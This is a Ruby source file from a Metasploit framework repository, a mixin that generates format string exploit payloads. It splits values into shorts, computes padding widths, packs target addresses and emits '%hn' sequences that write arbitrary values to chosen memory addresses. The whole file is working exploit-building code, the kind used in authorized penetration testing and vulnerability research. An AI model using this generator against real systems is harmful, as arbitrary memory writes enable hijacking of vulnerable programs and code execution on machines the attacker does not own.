Files
metasploit-gs/lib/msf/core/exploit/fmtstr.rb
T
Joshua Drake 4ab9a59a39 now supporting sequential identical values!
git-svn-id: file:///home/svn/framework3/trunk@7691 4d416f70-5f16-0410-b530-b9f4589650da
2009-12-04 07:45:08 +00:00

170 lines
3.8 KiB
Ruby

module Msf
###
#
# This mixin provides a interface to generating format string exploits
# in a more intelligent way.
#
# Author: jduck
# $Id$
###
module Exploit::FormatString
#
# Creates an instance of a format string exploit
#
def initialize(info = {})
super
# Register an advanced option that allows users to specify whether or
# not to use direct parameter access
register_advanced_options(
[
OptBool.new('SupportDPA', [ false, "Force Direct Parameter Access (DPA) on.", false ])
], Msf::Exploit::FormatString)
end
#
# Generates a format string that will perform an arbitrary write using
# two separate short values
#
def generate_fmt_two_shorts(num_printed, write_to, write_what, targ = target)
arr = Array.new
arr << [ write_what & 0xffff, write_to ]
arr << [ write_what >> 16, write_to + 2 ]
stuff = fmtstr_gen_from_array(num_printed, arr, targ)
end
#
# Generates a format string that will perform an arbitrary write using
# two separate short values
#
def generate_fmtstr_from_buf(num_printed, write_to, buffer, targ = target)
# break buffer into shorts
arr = fmtstr_gen_array_from_buf(write_to, buffer, targ)
# now build the format string in its entirety
stuff = fmtstr_gen_from_array(num_printed, arr, targ)
end
#
# Generates and returns an array of what/where pairs from the supplied buffer
#
def fmtstr_gen_array_from_buf(write_to, buffer, targ = target)
# break buffer into shorts
arr = Array.new
off = 0
if ((buffer.length % 2) == 1)
buffer << rand_text(1)
end
while off < buffer.length
# convert short to number
tb = buffer[off,2].unpack('v')[0].to_i
#print_status("%d %d %d" % [off,buffer.length,tb])
addr = write_to + off
arr << [ tb, addr ]
off += 2
end
return arr
end
#
# Generates a format string from an array of value/address pairs
#
def fmtstr_gen_from_array(num_printed, arr, targ = target)
num_pops = targ['NumPops']
num_pad = targ['PadBytes'] || 0
# sort the array -- for optimization
arr = arr.sort { |x,y| x[0] <=> y[0] }
num = fmtstr_count_printed(num_printed, num_pad, num_pops, arr)
#print_status("#{num} bytes printed at first write..")
# here on differs if DPA is supported
fmts = ""
addrs = ""
arr.each do |el|
# find out how much to advance the column value
prec = fmtstr_target_short(el[0], num)
#print_status(" adding [ %#8x, %#8x, %5d ]" % (el + [prec]))
if prec > 0
addrs << rand_text(4)
fmts << "%0" + prec.to_s + "x"
end
addrs << [el[1]].pack('V')
fmts << "%hn"
num = el[0]
end
if (bad_idx = has_badchars?(addrs, payload_badchars))
#print_status("\n" + Rex::Text.to_hex_dump(addrs))
raise BadcharError.new(addrs, bad_idx, addrs.length, addrs[bad_idx]),
"The format string address area contains invalid characters.",
caller
end
# put it all together
stuff = rand_text(num_pad)
stuff << addrs
stuff << "%8x" * num_pops
stuff << fmts
return stuff
end
#
# Count how many bytes will print before we reach the writing..
#
def fmtstr_count_printed(num_printed, num_pad, num_pops, arr)
num = num_printed + num_pad + (8 * num_pops)
npr = num
arr.each do |el|
prec = fmtstr_target_short(el[0], npr)
num += 4 if prec > 0
num += 4
npr = el[0]
end
return num
end
#
# generate the number to be used for precision that will create
# the specified value to write
#
def fmtstr_target_short(value, num_printed)
if value < num_printed
return (0x10000 - num_printed) + value
end
return value - num_printed
end
#
# Returns the index of any bad characters found in the supplied buffer.
# (NOTE: copied from encoder.rb)
#
def has_badchars?(buf, badchars)
badchars.each_byte { |badchar|
idx = buf.index(badchar.chr)
if (idx != nil)
return idx
end
}
return nil
end
end
end